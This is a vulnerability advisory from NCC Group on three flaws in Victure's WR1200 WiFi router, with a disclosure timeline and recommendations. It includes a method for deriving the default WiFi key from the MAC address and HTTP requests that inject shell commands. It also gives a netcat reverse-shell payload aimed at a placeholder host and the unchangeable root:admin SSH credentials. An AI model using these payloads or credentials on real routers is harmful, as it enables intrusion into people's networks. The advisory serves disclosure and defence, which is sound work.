Victure’s WR1200 WiFi router, also sometimes referred to as AC1200, was found to have multiple vulnerabilities exposing its owners to potential intrusion in their local WiFi network and complete overtake of the device.
Three vulnerabilities were uncovered, with links to the associated technical advisories below:
CVE-2021-43283 is a common Remote Code Execution vulnerability which is frequently found in routers implementing a ping/trace feature through their web interface that relies on a call to the ping or trace command made to the underlying router OS.
However, here the more interesting vulnerabilities are the 2 others which can easily be chained together to go from opportunistic sniffing of WiFi networks to full compromise of the router:
- CVE-2021-43282 allows an attacker to easily guess the default WiFi WPA2 key (if it was not manually changed by the device owner) which in this case would be the last 4 bytes from the MAC address of the router which is advertised by the access point, and can be retrieved by a basic WiFi scan.
- CVE-2021-43284 allows any user on the local network to open an SSH connection on the rooter with the default
root:admincredentials, and despite the user best efforts to change the defaultadminaccount password from the web interface, the password for the root account will not be changed at the same time.
While NCC Group was able to get in contact with Victure’s support team and communicate these findings to them, those bugs were left unfixed. After giving a reasonable amount of time to Victure to fix these findings according to NCC’s responsible disclosure policies, it was decided to publicly release the following advisories. The disclosure timeline can be found at the bottom of this page.
Technical Advisories:
Vendor: Victure Vendor URL: https://www.govicture.com Versions affected: All versions up to and including 1.0.3 Systems Affected: WR1200 Author: Nicolas Bidron CVE Identifier: CVE-2021-43282 Severity: High 8.1 (CVSS v3.1 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Summary
Victure’s WR1200 WiFi router is a general consumer WiFi router with an integrated web interface for configuration. It was found that the default password for the two WiFi networks is advertised to unauthenticated users within WiFi range.
Impact
The device default WiFi password for both 2.4GHz and 5GHz networks can be trivially guessed by an attacker within range of the WiFi network, allowing the attacker to gain complete access to these networks if the password has been left unchanged from it’s factory default.
Details
The device default WiFi password corresponds to the last 4 bytes of the MAC address of it’s 2.4GHz network interface controller (NIC). An attacker within scanning range of the WiFi network can thus scan for WiFi networks with the following command.
$ iwlist wlp1s0 scanning | egrep "Victure" -B 5
Cell 03 - Address: 38:01:46:FD:1C:C5
Channel:11
Frequency:2.462 GHz (Channel 11)
Quality=68/70 Signal level=-42 dBm
Encryption key:on
ESSID:"Victure-1CC5"
--
Cell 05 - Address: 38:01:46:FD:1C:C7
Channel:157
Frequency:5.785 GHz
Quality=49/70 Signal level=-61 dBm
Encryption key:on
ESSID:"Victure-1CC5-5G"The attacker can then effectively guess the correct default password from the last 4 bytes of the MAC address 46:FD:1C:C5 -> password: 46fd1cc5
Recommendation
- Change the WPA key for both 2.4GHz and 5GHz WiFi networks through the router’s web interface
Vendor: Victure Vendor URL: https://www.govicture.com Versions affected: All versions up to and including 1.0.3 Systems Affected: WR1200 Author: Nicolas Bidron CVE Identifier: CVE-2021-43283 Severity: High Medium 6.8 (CVSS v3.1 AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
Summary
Victure’s WR1200 WiFi router is a general consumer WiFi router with an integrated web interface for configuration. It was found that an attacker can inject shell commands through one the forms on the web interface of the device.
Impact
A command injection vulnerability was found within the web interface of the device allowing an attacker with valid credentials to inject arbitrary shell commands to be executed by the device with root privileges. An attacker would thus be able to use this vulnerability to open a reverse shell on the device with root privileges.
Details
The “ping/traceroute” feature found under the Advanced/System Management portion of the web interface asks the user to enter an IP address to then perform a ping against that IP. By appending a semicolon ; to the domain field of the request, the attacker can successfully inject a command to be executed by the device.
e.g.:
request:
POST /cgi-bin/luci/;stok=REDACTED/admin/opsw/ping_tracert_apply HTTP/1.1
Host: 192.168.16.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 74
Origin: http://192.168.16.1
Connection: close
Referer: http://192.168.16.1/cgi-bin/luci/;stok=REDACTED/admin/opsw/advanced.html
Cookie: sysauth=REDACTED
{"type":"setmonitor","kind":"ping","domain":"127.0.0.1; echo vulnerable"}response:
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Cache-Control: no-cache
Expires: 0
Content-Length: 25
{"result":0, "msg":"..."}The attacker can then attempt retrieving the result of the last command executed by using the following request.
request:
GET /cgi-bin/luci/;stok=REDACTED/admin/opsw/ping_tracert HTTP/1.1
Host: 192.168.16.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://192.168.16.1/cgi-bin/luci/;stok=REDACTED/admin/opsw/advanced.html
Cookie: sysauth=REDACTEDresponse:
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Cache-Control: no-cache
Expires: 0
Content-Length: 45
{ "info": "vulnerable -c 4", "finish": 0 }The following payload fed into the domain field can be used to open a reverse shell on any reacheable host on the WAN or LAN network.
127.0.0.1 -c 1 ;rm /a;mkfifo /a;cat /tmp/a|/bin/sh -i 2>&1|nc X.X.X.X 1111 >/a;echo reverse_shellReplace X.X.X.X in the above command by the IP address of an host waiting for an incoming connection. On the receiving host, apply an adequate firewall rule allowing incoming traffic on port 1111 and issue the following command to wait for the incoming connection from the router:
netcat -l -p 1111Recommendation
This issue will remain exploitable to authenticated users as long as the Vendor doesn’t fix it through a new router firmware update.
Vendor: Victure Vendor URL: https://www.govicture.com Versions affected: All versions up to and including 1.0.3 Systems Affected: WR1200 Author: Nicolas Bidron CVE Identifier: CVE-2021-43284 Severity: High 8.8 (CVSS v3.1 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Summary
Victure’s WR1200 WiFi router is a general consumer WiFi router with an integrated web interface for configuration. It was found that the device offers SSH access on the local network which for some of the accounts uses default password that are not changeable through the web interface.
Impact
An attacker with access to the local network can gain access with elevated privileges on the device through SSH even in cases where the admin password was successfully updated through the web interface.
Details
The device allows SSH access from its Local Network (WiFi and ethernet) for 2 distincts users: admin, root. The admin’s SSH password matches the password set for the admin user on the web interface. The root’s SSH password never gets updated from its default value of “admin”. This leaves an attacker able to gain control of the device through SSH whether the admin password was changed on the web interface or not.
Recommendation
Ensure the admin’s default password is changed through the web interface. Also change the root account default password by logging in as root on the router through SSH in the following manner:
ssh [email protected]
>passwdDisclosure Timeline:
January 26th 2021: Initial email form NCC to Victure announcing to vendor vulnerabilities were found in one of their device.
January 27th - February 2nd 2021: multiple emails between Victure and NCC to agree on a secure method to deliver the vulnerabilities write-ups to Victure.
February 2nd 2021: Write-ups transmitted to Victure's representative through a verified Whatsapp chat session. Victure's representative then initiated a conversation between the software maintainer and NCC through Skype
Februrary 3rd 2021: the software maintainer on Skype acknowledged receipts of the bugs write-ups.
October 12th 2021: NCC reached out to Victure again (not having heard from them since Februrary 3rd 2021) to inform of intent to publicly disclose the bugs unless they can confirm they have a planned fix release within the next 30 days.
As of publishing date of this Technical Advisory, no further communication from Victure was received since Februray 3rd 2021.Thanks to
Jennifer Fernick and Aaron Haymore for their support throughout the research and disclosure process.
About NCC Group
NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.
Published date: 11/12/2021
Written by: Nicolas Bidron
